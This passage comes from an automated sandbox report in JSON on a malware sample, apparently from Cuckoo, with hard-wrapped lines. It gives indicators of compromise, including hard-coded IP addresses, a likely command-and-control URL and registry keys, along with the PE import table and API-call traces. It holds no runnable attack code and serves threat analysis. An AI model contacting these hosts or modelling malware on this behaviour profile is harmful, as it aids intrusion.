found"},{"entropy":6.8514649302469905,"section":{"size_of_data":"0x0000e000","virtual_addres
s":"0x0002a000","entropy":6.8514649302469905,"name":".rsrc","virtual_size":"0x0000dea0"},"ty
pe":"generic","description":"A section with a high entropy has been

found"},{"entropy":0.6927374301675978,"type":"generic","description":"Overall entropy of this
PE file is high"}],"name":"packer_entropy"},{"families":[],"description":"Potentially malicious
URLs were found in the process memory
dump","severity":2,"ttp":{},"markcount":6,"references":[],"marks":[{"category":"url","ioc":"http://176
.53.21.105/userinfo.php","type":"ioc","description":null},{"category":"url","ioc":"http://purl.org/rss/1
.0/","type":"ioc","description":null},{"category":"url","ioc":"https://iecvlist.microsoft.com/IE11/1379
465767093/iecompatviewlist.xml","type":"ioc","description":null},{"category":"url","ioc":"http://ww
w.passport.com","type":"ioc","description":null},{"category":"url","ioc":"http://test.com","type":"ioc"
,"description":null},{"category":"url","ioc":"http://www.microsoft.com/isapi/redir.dll?prd=ie","type":"
ioc","description":null}],"name":"memdump_urls"},{"families":[],"description":"Reads the systems
User Agent and subsequently performs requests","severity":2,"ttp":{"T1071":{"short":"Standard
Application Layer Protocol","long":"Adversaries may communicate using a common,
standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid
detection by blending in with existing traffic. Commands to the remote system, and often the
results of those commands, will be embedded within the protocol traffic between the client and
server."}},"markcount":1,"references":[],"marks":[{"call":{"category":"network","status":1,"stacktra
ce":[],"api":"InternetOpenA","return_value":13369348,"arguments":{"proxy_bypass":"","access_t
ype":1,"proxy_name":"","flags":0,"user_agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC
6.0)"},"time":1700322041.391,"tid":2280,"flags":{}},"pid":2276,"type":"call","cid":320}],"name":"re
ads_user_agent"},{"families":[],"description":"One or more of the buffers contains an embedded
PE
file","severity":3,"ttp":{},"markcount":1,"references":[],"marks":[{"category":"buffer","ioc":"Buffer
with sha1:
da2b9ba34c4099cc88890f06d48791eda50073bb","type":"ioc","description":null}],"name":"dump
ed_buffer2"},{"families":[],"description":"Communicates with host for which no DNS query was
performed","severity":3,"ttp":{},"markcount":6,"references":[],"marks":[{"host":"107.181.174.15","t
ype":"generic"},{"host":"176.53.21.105","type":"generic"},{"host":"217.12.199.151","type":"generi
c"},{"host":"31.184.197.72","type":"generic"},{"host":"92.222.71.26","type":"generic"},{"host":"93.
170.169.52","type":"generic"}],"name":"nolookup_communication"},{"families":[],"description":"Fo
und URLs in memory pointing to an IP address rather than a domain (potentially indicative of
Command & Control
traffic)","severity":3,"ttp":{},"markcount":1,"references":[],"marks":[{"category":"url","ioc":"http://17
6.53.21.105/userinfo.php","type":"ioc","description":null}],"name":"memdump_ip_urls"},{"families
":[],"description":"Connects to IP addresses that are no longer responding to requests
(legitimate services will remain up-and-running
usually)","severity":8,"ttp":{},"markcount":6,"references":[],"marks":[{"category":"dead_host","ioc":
"93.170.169.52:80","type":"ioc","description":null},{"category":"dead_host","ioc":"217.12.199.151
:80","type":"ioc","description":null},{"category":"dead_host","ioc":"31.184.197.72:80","type":"ioc","
description":null},{"category":"dead_host","ioc":"92.222.71.26:80","type":"ioc","description":null},{
"category":"dead_host","ioc":"176.53.21.105:80","type":"ioc","description":null},{"category":"dead
_host","ioc":"107.181.174.15:80","type":"ioc","description":null}],"name":"dead_host"}],"static":{"p
db_path":null,"pe_imports":[{"imports":[{"name":"LocalUnlock","address":"0x41209c"},{"name":"S
earchPathA","address":"0x4120a0"},{"name":"CreateFileMappingA","address":"0x4120a4"},{"na
me":"GetTempFileNameA","address":"0x4120a8"},{"name":"ReplaceFileA","address":"0x4120ac
"},{"name":"EnumResourceNamesA","address":"0x4120b0"},{"name":"lstrlenW","address":"0x41
20b4"},{"name":"SizeofResource","address":"0x4120b8"},{"name":"lstrcpyA","address":"0x4120b
c"},{"name":"CloseHandle","address":"0x4120c0"},{"name":"SetFilePointer","address":"0x4120c
4"},{"name":"GlobalAlloc","address":"0x4120c8"},{"name":"HeapQueryInformation","address":"0x

4120cc"},{"name":"WaitForSingleObject","address":"0x4120d0"},{"name":"GetFileAttributesA","address":"0x4120d4"},{"name":"GlobalHandle","address":"0x4120d8"},{"name":"DuplicateHandle","address":"0x4120dc"},{"name":"GetFullPathNameA","address":"0x4120e0"},{"name":"CompareStringA","address":"0x4120e4"},{"name":"QueryPerformanceFrequency","address":"0x4120e8"},{"name":"GetPrivateProfileStringA","address":"0x4120ec"},{"name":"EnumResourceLanguagesA","address":"0x4120f0"},{"name":"LocalFileTimeToFileTime","address":"0x4120f4"},{"name":"CreateProcessA","address":"0x4120f8"},{"name":"RaiseException","address":"0x4120fc"},{"name":"SetErrorMode","address":"0x412100"},{"name":"DosDateTimeToFileTime","address":"0x412104"},{"name":"GlobalReAlloc","address":"0x412108"},{"name":"GetConsoleMode","address":"0x41210c"},{"name":"HeapAlloc","address":"0x412110"},{"name":"GetDriveTypeA","address":"0x412114"},{"name":"lstrlenA","address":"0x412118"},{"name":"GetDriveTypeW","address":"0x41211c"},{"name":"FindResourceW","address":"0x412120"},{"name":"TlsFree","address":"0x412124"},{"name":"GetTimeZoneInformation","address":"0x412128"},{"name":"FormatMessageA","address":"0x41212c"},{"name":"MultiByteToWideChar","address":"0x412130"},{"name":"UnlockFile","address":"0x412134"},{"name":"SetEvent","address":"0x412138"},{"name":"FileTimeToSystemTime","address":"0x41213c"},{"name":"GetUserDefaultLangID","address":"0x412140"},{"name":"LockFile","address":"0x412144"},{"name":"TerminateProcess","address":"0x412148"},{"name":"FileTimeToLocalFileTime","address":"0x41214c"},{"name":"CopyFileA","address":"0x412150"},{"name":"WritePrivateProfileStringA","address":"0x412154"},{"name":"LockResource","address":"0x412158"},{"name":"lstrcatA","address":"0x41215c"},{"name":"GetCurrentDirectoryA","address":"0x412160"},{"name":"CreateFileW","address":"0x412164"},{"name":"InitializeCriticalSectionAndSpinCount","address":"0x412168"},{"name":"UnhandledExceptionFilter","address":"0x41216c"},{"name":"GetFileInformationByHandle","address":"0x412170"},{"name":"LoadLibraryA","address":"0x412174"},{"name":"FindFirstChangeNotificationA","address":"0x412178"},{"name":"IsDebuggerPresent","address":"0x41217c"},{"name":"HeapFree","address":"0x412180"},{"name":"FlushFileBuffers","address":"0x412184"},{"name":"FreeEnvironmentStringsW","address":"0x412188"},{"name":"SetPriorityClass","address":"0x41218c"},{"name":"LoadLibraryExA","address":"0x412190"},{"name":"LoadLibraryW","address":"0x412194"},{"name":"SetHandleCount","address":"0x412198"},{"name":"TlsSetValue","address":"0x41219c"},{"name":"lstrcmpA","address":"0x4121a0"},{"name":"GetStdHandle","address":"0x4121a4"},{"name":"GetACP","address":"0x4121a8"},{"name":"GetCommandLineA","address":"0x4121ac"},{"name":"GetOEMCP","address":"0x4121b0"},{"name":"GetFileSizeEx","address":"0x4121b4"},{"name":"GetConsoleCP","address":"0x4121b8"},{"name":"InterlockedIncrement","address":"0x4121bc"},{"name":"GetModuleFileNameW","address":"0x4121c0"},{"name":"DeleteFileA","address":"0x4121c4"},{"name":"SuspendThread","address":"0x4121c8"},{"name":"IsValidCodePage","address":"0x4121cc"},{"name":"SetLastError","address":"0x4121d0"},{"name":"FreeLibrary","address":"0x4121d4"},{"name":"GetLocalTime","address":"0x4121d8"},{"name":"LocalLock","address":"0x4121dc"},{"name":"GetVersionExA","address":"0x4121e0"},{"name":"RemoveDirectoryA","address":"0x4121e4"},{"name":"FileTimeToDosDateTime","address":"0x4121e8"},{"name":"SetEndOfFile","address":"0x4121ec"},{"name":"LocalAlloc","address":"0x4121f0"},{"name":"WaitForMultipleObjects","address":"0x4121f4"},{"name":"GetLastError","address":"0x4121f8"},{"name":"LCMapStringW","address":"0x4121fc"},{"name":"CompareFileTime","address":"0x412200"},{"name":"GetModuleHandleA","address":"0x412204"},{"name":"InterlockedDecrement","address":"0x412208"},{"name":"FreeResource","address":"0x41220c"},{"name":"lstrcpynA","address":"0x412210"},{"name":"HeapCreate","address":"0x412214"},{"name":"WriteFile","address":"0x412218"},{"name":"IsProcessorFeaturePresent","address":"0x41221c"},{"name":"lstrcmpW","address":"0x412220"},{"name":"GetProcessHeap","address":"0x412224"},{"name":"FindNextChangeNotification","address":"0x412228"},{"name":"GetVolumeInformationA","address":"0x41222c"},{"name":"CreateDirectoryA","address":"0x412230"},{"name":"GetCurrentThread","address":"0x412234"},{"name":"GetCurrentDirectoryW","address":"0x412238"},{"name":"SetUnhandledExceptionFilter","address":"0x41223c"},{"name":"ExpandEnvironme ntStringsA","address":"0x412240"},{"name":"CreateEventA","address":"0x412244"},{"name":"GlobalFlags","address":"0x412248"},{"name":"GlobalLock","address":"0x41224c"},{"name":"HeapSize","address":"0x412250"},{"name":"GlobalFree","address":"0x412254"},{"name":"GetUserDefaultUILanguage","address":"0x412258"},{"name":"TlsAlloc","address":"0x41225c"},{"name":"GetCPInfo","address":"0x412260"},{"name":"GetCurrentThreadId","address":"0x412264"},{"name":"GlobalDeleteAtom","address":"0x412268"},{"name":"LocalFree","address":"0x41226c"},{"name":"GlobalGetAtomNameA","address":"0x412270"},{"name":"GetTempPathA","address":"0x412274"},{"name":"LoadResource","address":"0x412278"},{"name":"GlobalUnlock","address":"0x41227c"},{"name":"InitializeCriticalSection","address":"0x412280"},{"name":"GetStringTypeW","address":"0x412284"},{"name":"FindResourceExW","address":"0x412288"},{"name":"MoveFileA","address":"0x41228c"},{"name":"GetModuleFileNameA","address":"0x412290"},{"name":"GetProcAddress","address":"0x412294"},{"name":"MapViewOfFile","address":"0x412298"},{"name":"ResumeThread","address":"0x41229c"},{"name":"GetEnvironmentStringsW","address":"0x4122a0"},{"name":"LocalReAlloc","address":"0x4122a4"},{"name":"CreateThread","address":"0x4122a8"},{"name":"GetProfileIntA","address":"0x4122ac"},{"name":"GetWindowsDirectoryA","address":"0x4122b0"},{"name":"FindCloseChangeNotification","address":"0x4122b4"},{"name":"TlsGetValue","address":"0x4122b8"},{"name":"CompareStringW","address":"0x4122bc"},{"name":"MulDiv","address":"0x4122c0"},{"name":"HeapSetInformation","address":"0x4122c4"},{"name":"EnterCriticalSection","address":"0x4122c8"},{"name":"GetNumberFormatA","address":"0x4122cc"},{"name":"GetSystemInfo","address":"0x4122d0"},{"name":"GetShortPathNameA","address":"0x4122d4"},{"name":"GetPrivateProfileIntA","address":"0x4122d8"},{"name":"QueryPerformanceCounter","address":"0x4122dc"},{"name":"GetSystemDefaultUILanguage","address":"0x4122e0"},{"name":"WinExec","address":"0x4122e4"},{"name":"GetDiskFreeSpaceA","address":"0x4122e8"},{"name":"GetCurrentProcessId","address":"0x4122ec"},{"name":"GetStringTypeExA","address":"0x4122f0"},{"name":"GetFileTime","address":"0x4122f4"},{"name":"SetFileAttributesA","address":"0x4122f8"},{"name":"lstrcmpiA","address":"0x4122fc"},{"name":"FindResourceExA","address":"0x412300"},{"name":"GetSystemTimeAsFileTime","address":"0x412304"},{"name":"RtlUnwind","address":"0x412308"},{"name":"GetSystemDirectoryW","address":"0x41230c"},{"name":"EnumResourceTypesA","address":"0x412310"},{"name":"LeaveCriticalSection","address":"0x412314"},{"name":"WriteConsoleW","address":"0x412318"},{"name":"SetEnvironmentVariableA","address":"0x41231c"},{"name":"Sleep","address":"0x412320"},{"name":"ConvertDefaultLocale","address":"0x412324"},{"name":"GetFileAttributesExA","address":"0x412328"},{"name":"SetThreadPriority","address":"0x41232c"},{"name":"GetFileSize","address":"0x412330"},{"name":"SetFileTime","address":"0x412334"},{"name":"SystemTimeToFileTime","address":"0x412338"},{"name":"ResetEvent","address":"0x41233c"},{"name":"SetStdHandle","address":"0x412340"},{"name":"FindResourceA","address":"0x412344"},{"name":"GetThreadLocale","address":"0x412348"},{"name":"GlobalFindAtomA","address":"0x41234c"},{"name":"GlobalSize","address":"0x412350"},{"name":"InterlockedExchange","address":"0x412354"},{"name":"SetCurrentDirectoryA","address":"0x412358"},{"name":"CreateFileA","address":"0x41235c"},{"name":"DeleteCriticalSection","address":"0x412360"},{"name":"GetFileType","address":"0x412364"},{"name":"GetLocaleInfoA","address":"0x412368"},{"name":"WideCharToMultiByte","address":"0x41236c"},{"name":"OpenFile","address":"0x412370"},{"name":"GetVersion","address":"0x412374"},{"name":"VirtualProtect","address":"0x412378"},{"name":"AddAtomW","address":"0x41237c"},{"name":"GetTickCount","address":"0x412380"},{"name":"GetModuleHandleW","address":"0x412384"},{"name":"GetCurrentProcess","address":"0x412388"},{"name":"GlobalAddAtomA","address":"0x41238c"},{"name":"GetStartupInfoW","address":"0x412390"},{"name":"ExitProcess","address":"0x412394"}],"dll":"KERNEL32.dll"},{"imports":[{"name":"GetWindowDC","address":"0x4123d4"},{"name":"KillTimer","address":"0x4123d8"},{"name":"GetWindowTextW","address":"0x4123dc"},{"name":"SendMessageW","address":"0x4123e0"},{"name":"PostMessageW","address":"0x4123e4"},{"name":"ShowWindow","address":"0x4123e8"},{"name":"SetWindowPos","address":"0x4123ec"},{"name":"GetCursorPos","address":"0x4123f0"},

{"name":"DrawTextW","address":"0x4123f4"},{"name":"SetTimer","address":"0x4123f8"},{"name"
:"GetFocus","address":"0x4123fc"},{"name":"DestroyMenu","address":"0x412400"},{"name":"Me
ssageBeep","address":"0x412404"},{"name":"LoadImageW","address":"0x412408"},{"name":"Re
moveMenu","address":"0x41240c"},{"name":"MonitorFromPoint","address":"0x412410"},{"name"
:"EnumChildWindows","address":"0x412414"},{"name":"EnumWindows","address":"0x412418"},
{"name":"TrackMouseEvent","address":"0x41241c"},{"name":"DispatchMessageW","address":"0
x412420"},{"name":"GetMenuItemCount","address":"0x412424"},{"name":"SetWindowLongW","
address":"0x412428"},{"name":"GetWindowRect","address":"0x41242c"},{"name":"GetClassNa
meW","address":"0x412430"},{"name":"ScreenToClient","address":"0x412434"},{"name":"GetMe
ssageW","address":"0x412438"},{"name":"InvalidateRect","address":"0x41243c"},{"name":"Creat
ePopupMenu","address":"0x412440"},{"name":"ReleaseDC","address":"0x412444"},{"name":"Up
dateLayeredWindow","address":"0x412448"},{"name":"LoadCursorW","address":"0x41244c"},{"n
ame":"LoadStringW","address":"0x412450"},{"name":"GetMenuItemInfoW","address":"0x412454
"},{"name":"SetCursor","address":"0x412458"},{"name":"DestroyCursor","address":"0x41245c"},{
"name":"SetFocus","address":"0x412460"},{"name":"MonitorFromWindow","address":"0x412464
"},{"name":"AppendMenuW","address":"0x412468"},{"name":"GetWindow","address":"0x41246c"
},{"name":"SetWindowTextW","address":"0x412470"},{"name":"GetParent","address":"0x412474
"},{"name":"TranslateAcceleratorW","address":"0x412478"},{"name":"GetWindowThreadProcess
Id","address":"0x41247c"},{"name":"PtInRect","address":"0x412480"},{"name":"DestroyWindow",
"address":"0x412484"},{"name":"GetTopWindow","address":"0x412488"},{"name":"SetForegroun
dWindow","address":"0x41248c"},{"name":"LoadStringA","address":"0x412490"},{"name":"LoadI
conA","address":"0x412494"},{"name":"IsWindowEnabled","address":"0x412498"},{"name":"Get
KeyboardLayout","address":"0x41249c"},{"name":"CharUpperW","address":"0x4124a0"},{"name
":"GetDesktopWindow","address":"0x4124a4"},{"name":"IsWindowVisible","address":"0x4124a8"
},{"name":"EnableWindow","address":"0x4124ac"},{"name":"GetMonitorInfoW","address":"0x412
4b0"},{"name":"IsWindow","address":"0x4124b4"},{"name":"GetWindowLongW","address":"0x41
24b8"},{"name":"CharNextW","address":"0x4124bc"},{"name":"UnregisterClassA","address":"0x4
124c0"},{"name":"TranslateMessage","address":"0x4124c4"},{"name":"GetClientRect","address":
"0x4124c8"},{"name":"PostQuitMessage","address":"0x4124cc"},{"name":"LoadMenuW","addres
s":"0x4124d0"},{"name":"DefWindowProcW","address":"0x4124d4"},{"name":"CallWindowProcW
","address":"0x4124d8"},{"name":"PeekMessageW","address":"0x4124dc"},{"name":"TrackPopu
pMenuEx","address":"0x4124e0"},{"name":"MapWindowPoints","address":"0x4124e4"}],"dll":"US
ER32.dll"},{"imports":[{"name":"CloseFigure","address":"0x41208c"},{"name":"BeginPath","addre
ss":"0x412090"},{"name":"AnimatePalette","address":"0x412094"}],"dll":"GDI32.dll"},{"imports":[{
"name":"RegQueryValueExW","address":"0x412000"},{"name":"EnumDependentServicesW","a
ddress":"0x412004"},{"name":"BuildExplicitAccessWithNameW","address":"0x412008"},{"name":
"SetServiceStatus","address":"0x41200c"},{"name":"RegOpenKeyA","address":"0x412010"},{"na
me":"StartServiceW","address":"0x412014"},{"name":"RegCreateKeyExW","address":"0x412018
"},{"name":"RegCloseKey","address":"0x41201c"},{"name":"RegCreateKeyW","address":"0x412
020"},{"name":"QueryServiceStatusEx","address":"0x412024"},{"name":"RegSetValueExW","ad
dress":"0x412028"},{"name":"SetTokenInformation","address":"0x41202c"},{"name":"OpenServic
eW","address":"0x412030"},{"name":"ReportEventW","address":"0x412034"},{"name":"Register
ServiceCtrlHandlerExW","address":"0x412038"},{"name":"RevertToSelf","address":"0x41203c"},
{"name":"CreateServiceW","address":"0x412040"},{"name":"SetNamedSecurityInfoW","address"
:"0x412044"},{"name":"GetNamedSecurityInfoW","address":"0x412048"},{"name":"CreateProces
sAsUserW","address":"0x41204c"},{"name":"ControlService","address":"0x412050"},{"name":"D
uplicateTokenEx","address":"0x412054"},{"name":"GetTokenInformation","address":"0x412058"}
,{"name":"StartServiceCtrlDispatcherW","address":"0x41205c"},{"name":"DeregisterEventSourc
e","address":"0x412060"},{"name":"ChangeServiceConfigW","address":"0x412064"},{"name":"O
penProcessToken","address":"0x412068"},{"name":"RegEnumKeyW","address":"0x41206c"},{"n

ame":"DeleteService","address":"0x412070"},{"name":"RegisterEventSourceW","address":"0x412074"},{"name":"OpenSCManagerW","address":"0x412078"},{"name":"RegOpenKeyExW","address":"0x41207c"},{"name":"SetEntriesInAclW","address":"0x412080"},{"name":"CloseServiceHandle","address":"0x412084"}],"dll":"ADVAPI32.dll"},{"imports":[{"name":"SHEmptyRecycleBinW","address":"0x4123a8"},{"name":"SHGetSpecialFolderPathW","address":"0x4123ac"}],"dll":"SHELL32.dll"},{"imports":[{"name":"CoInitialize","address":"0x412520"}],"dll":"ole32.dll"},{"imports":[{"name":"PathRemoveFileSpecW","address":"0x4123b4"},{"name":"PathCombineW","address":"0x4123b8"},{"name":"StrStrIW","address":"0x4123bc"},{"name":"PathFindFileNameW","address":"0x4123c0"},{"name":"PathFileExistsW","address":"0x4123c4"},{"name":"PathQuoteSpacesW","address":"0x4123c8"},{"name":"PathAppendW","address":"0x4123cc"}],"dll":"SHLWAPI.dll"},{"imports":[{"name":"VerQueryValueW","address":"0x4124ec"}],"dll":"VERSION.dll"},{"imports":[{"name":"OleUIBusyW","address":"0x412528"},{"name":null,"address":"0x41252c"}],"dll":"oledlg.dll"},{"imports":[{"name":"WTSFreeMemory","address":"0x4124f4"},{"name":"WTSEnumerateSessionsW","address":"0x4124f8"}],"dll":"WTSAPI32.dll"},{"imports":[{"name":"GetModuleInformation","address":"0x41239c"},{"name":"GetModuleFileNameExW","address":"0x4123a0"}],"dll":"PSAPI.DLL"},{"imports":[{"name":"_CIsin","address":"0x412500"},{"name":"_CIcos","address":"0x412504"},{"name":"exit","address":"0x412508"},{"name":"_except_handler3","address":"0x41250c"},{"name":"free","address":"0x412510"},{"name":"malloc","address":"0x412514"},{"name":"__set_app_type","address":"0x412518"}],"dll":"msvcrt.dll"}],"peid_signatures":null,"keys":[],"signature":[],"pe_timestamp":"2016-05-16 23:37:07","pe_exports":[],"imported_dll_count":12,"pe_imphash":"5499a34b997046eddc2f33877a669f2c","pe_resources":[{"name":"RT_BITMAP","language":"LANG_ENGLISH","filetype":"GLF_BINARY_LSB_FIRST","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x00031ae0","size":"0x00003218"},{"name":"RT_BITMAP","language":"LANG_ENGLISH","filetype":"GLF_BINARY_LSB_FIRST","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x00031ae0","size":"0x00003218"},{"name":"RT_ICON","language":"LANG_ENGLISH","filetype":"GLS_BINARY_LSB_FIRST","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x000315c8","size":"0x00000468"},{"name":"RT_ICON","language":"LANG_ENGLISH","filetype":"GLS_BINARY_LSB_FIRST","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x000315c8","size":"0x00000468"},{"name":"RT_ICON","language":"LANG_ENGLISH","filetype":"GLS_BINARY_LSB_FIRST","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x000315c8","size":"0x00000468"},{"name":"RT_ICON","language":"LANG_ENGLISH","filetype":"GLS_BINARY_LSB_FIRST","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x000315c8","size":"0x00000468"},{"name":"RT_ICON","language":"LANG_ENGLISH","filetype":"GLS_BINARY_LSB_FIRST","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x000315c8","size":"0x00000468"},{"name":"RT_ICON","language":"LANG_ENGLISH","filetype":"GLS_BINARY_LSB_FIRST","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x000315c8","size":"0x00000468"},{"name":"RT_ICON","language":"LANG_ENGLISH","filetype":"GLS_BINARY_LSB_FIRST","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x000315c8","size":"0x00000468"},{"name":"RT_ICON","language":"LANG_ENGLISH","filetype":"GLS_BINARY_LSB_FIRST","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x000315c8","size":"0x00000468"},{"name":"RT_ICON","language":"LANG_ENGLISH","filetype":"GLS_BINARY_LSB_FIRST","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x000315c8","size":"0x00000468"},{"name":"RT_ICON","language":"LANG_ENGLISH","filetype":"GLS_BINARY_LSB_FIRST","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x000315c8","size":"0x00000468"},{"name":"RT_ICON","language":"LANG_ENGLISH","filetype":"GLS_BINARY_LSB_FIRST","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x000315c8","size":"0x00000468"},{"name":"RT_GROUP_ICON","language":"LANG_ENGLISH","filetype":"data","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x00031a30","size":"0x000000ae"},{"name":"RT_VERSION","language":"LANG_ENGLISH","filetype":"

PGP symmetric key encrypted data - Plaintext or unencrypted
data","sublanguage":"SUBLANG_ENGLISH_US","offset":"0x0002a380","size":"0x0000028c"}],"
pe_versioninfo":[{"name":"LegalCopyright","value":"Copyright (C) 2007-2012 All rights
Reserved."},{"name":"FileVersion","value":"5, 2, 3,
0"},{"name":"SpecialBuild","value":"2015.02.13"},{"name":"CompanyName","value":"Accmeware
Corporation"},{"name":"ProductVersion","value":"5, 2, 3,
0"},{"name":"PrivateBuild","value":"2015.02.13"},{"name":"Translation","value":"0x0409
0x04e4"}],"pe_sections":[{"size_of_data":"0x00011000","virtual_address":"0x00001000","entrop
y":7.128585972180398,"name":".text","virtual_size":"0x00010f42"},{"size_of_data":"0x00004800
","virtual_address":"0x00012000","entropy":6.777953643035419,"name":".rdata","virtual_size":"
0x00004798"},{"size_of_data":"0x00007000","virtual_address":"0x00017000","entropy":5.52814
41137177225,"name":".data","virtual_size":"0x00012e94"},{"size_of_data":"0x0000e000","virtual
_address":"0x0002a000","entropy":6.8514649302469905,"name":".rsrc","virtual_size":"0x0000d
ea0"},{"size_of_data":"0x00002400","virtual_address":"0x00038000","entropy":5.768648032988
408,"name":".reloc","virtual_size":"0x0000233a"}]},"behavior":{"generic":[{"process_path":"C:\\Us
ers\\Administrator\\AppData\\Local\\Temp\\VirusShare_00a0f5fe1ba0102ed789b2aa85c3e316.e
xe","process_name":"VirusShare_00a0f5fe1ba0102ed789b2aa85c3e316.exe","pid":2276,"sum
mary":{"dll_loaded":["MPR.dll","api-ms-win-downlevel-advapi32-l1-1-
0.dll","urlmon.dll","IPHLPAPI.DLL","WININET.dll","GDI32.dll","SHELL32.dll","KERNEL32.dll","N
ETAPI32.dll","ADVAPI32.dll","rpcrt4.dll","ole32.dll","CRYPTSP.dll","USER32.dll"],"file_opened":[
"\\\\?\\PIPE\\lsarpc"],"connects_host":["31.184.197.72","107.181.174.15","92.222.71.26","217.12
.199.151","176.53.21.105","93.170.169.52"],"regkey_opened":["HKEY_LOCAL_MACHINE\\syst
em\\CurrentControlSet\\control\\NetworkProvider\\HwOrder","HKEY_LOCAL_MACHINE\\Softwa
re\\Policies\\Microsoft\\Windows
NT\\Rpc","HKEY_CURRENT_USER\\Software\\RQ0U6dD388ZSj2","HKEY_PERFORMANCE_
DATA\\(Default)","HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Rpc"],"file_written":["\\\\?\\PIP
E\\lsarpc"],"guid":["{b06b0ce5-689b-4afd-b326-0a08a1a647af}","{c39ee728-d419-4bd4-a3ef-
eda059dbd935}"],"file_read":["\\\\?\\PIPE\\lsarpc"],"regkey_read":["HKEY_CURRENT_USER\\So
ftware\\RQ0U6dD388ZSj2\\8f4jbO1e","HKEY_LOCAL_MACHINE\\SYSTEM\\Setup\\SystemSet
upInProgress","HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Nls\\CustomLocal
e\\en-
US","HKEY_CURRENT_USER\\Software\\RQ0U6dD388ZSj2\\AbPWHH2fXcD","HKEY_LOCAL
_MACHINE\\SOFTWARE\\Microsoft\\Rpc\\MaxRpcSize","HKEY_CURRENT_USER\\Software\\
RQ0U6dD388ZSj2\\kO3235uf","HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\SQMClient\
\Windows\\CEIPEnable","HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Nls\\Ext
endedLocale\\en-
US","HKEY_LOCAL_MACHINE\\SYSTEM\\Setup\\OOBEInProgress","HKEY_LOCAL_MACHIN
E\\SYSTEM\\ControlSet001\\Control\\ComputerName\\ActiveComputerName\\ComputerName",
"HKEY_CURRENT_USER\\Software\\RQ0U6dD388ZSj2\\834kf98ja1"]},"first_seen":170032203
7.5,"ppid":2252},{"process_path":"C:\\Windows\\System32\\lsass.exe","process_name":"lsass.e
xe","pid":500,"summary":{},"first_seen":1700322037.0625,"ppid":396}],"apistats":{"2276":{"GetN
ativeSystemInfo":1,"CoUninitialize":3,"RegCloseKey":1,"GetBestInterfaceEx":2,"NtDuplicateObj
ect":8,"HttpOpenRequestA":6,"NtSetInformationFile":3,"RegQueryValueExA":5,"InternetOpenA":
1,"WSAStartup":1,"NtResumeThread":1,"NtQueryValueKey":6,"RegCreateKeyExA":1,"CryptHas
hData":2,"CryptCreateHash":3,"GetSystemMetrics":1,"NtCreateThreadEx":1,"InternetCloseHan
dle":10,"RegOpenKeyExW":3,"NtDelayExecution":2,"InternetConnectA":6,"SetErrorMode":1,"Nt
DeviceIoControlFile":5,"NtAllocateVirtualMemory":24,"RegOpenKeyExA":2,"NtWriteFile":1,"Ldr
GetDllHandle":5,"RtlDecompressBuffer":1,"NtQuerySystemInformation":1,"NtReadFile":1,"Crypt
AcquireContextA":2,"setsockopt":1,"CoCreateInstance":3,"ObtainUserAgentString":1,"SetUnhan
dledExceptionFilter":2,"GetTempPathW":1,"socket":1,"NtFreeVirtualMemory":7,"GetVolumeNam

eForVolumeMountPointW":2,"GetSystemTimeAsFileTime":2,"GlobalMemoryStatusEx":1,"closes
ocket":1,"NtProtectVirtualMemory":11,"CoInitializeEx":4,"HttpSendRequestA":5,"InternetSetOpti
onA":11,"NtOpenKey":7,"LdrGetProcedureAddress":211,"CryptEncrypt":1,"LdrLoadDll":15,"NtCr
eateFile":1,"InternetCrackUrlA":6,"NtClose":32}},"processes":[{"process_path":"C:\\Windows\\Sy
stem32\\lsass.exe","calls":[],"track":false,"pid":500,"process_name":"lsass.exe","command_line":
"C:\\Windows\\system32\\lsass.exe","modules":[{"basename":"lsass.exe","imgsize":49152,"base
addr":"0xffa70000","filepath":"C:\\Windows\\system32\\lsass.exe"},{"basename":"ntdll.dll","imgsi
ze":1740800,"baseaddr":"0x77250000","filepath":"C:\\Windows\\SYSTEM32\\ntdll.dll"},{"basena
me":"kernel32.dll","imgsize":1175552,"baseaddr":"0x77130000","filepath":"C:\\Windows\\system
32\\kernel32.dll"},{"basename":"KERNELBASE.dll","imgsize":438272,"baseaddr":"0x7fefd14000
0","filepath":"C:\\Windows\\system32\\KERNELBASE.dll"},{"basename":"msvcrt.dll","imgsize":65
1264,"baseaddr":"0x7fefede0000","filepath":"C:\\Windows\\system32\\msvcrt.dll"},{"basename":"
RPCRT4.dll","imgsize":1232896,"baseaddr":"0x7fefd560000","filepath":"C:\\Windows\\system32\
\RPCRT4.dll"},{"basename":"SspiSrv.dll","imgsize":45056,"baseaddr":"0x7fefce50000","filepath"
:"C:\\Windows\\system32\\SspiSrv.dll"},{"basename":"lsasrv.dll","imgsize":1470464,"baseaddr":"
0x7fefccb0000","filepath":"C:\\Windows\\system32\\lsasrv.dll"},{"basename":"sechost.dll","imgsiz
e":126976,"baseaddr":"0x7fefd730000","filepath":"C:\\Windows\\SYSTEM32\\sechost.dll"},{"bas
ename":"SspiCli.dll","imgsize":151552,"baseaddr":"0x7fefce60000","filepath":"C:\\Windows\\syst
em32\\SspiCli.dll"},{"basename":"ADVAPI32.dll","imgsize":897024,"baseaddr":"0x7fefef00000","
filepath":"C:\\Windows\\system32\\ADVAPI32.dll"},{"basename":"USER32.dll","imgsize":102400
0,"baseaddr":"0x77030000","filepath":"C:\\Windows\\system32\\USER32.dll"},{"basename":"GDI
32.dll","imgsize":421888,"baseaddr":"0x7feff0b0000","filepath":"C:\\Windows\\system32\\GDI32.
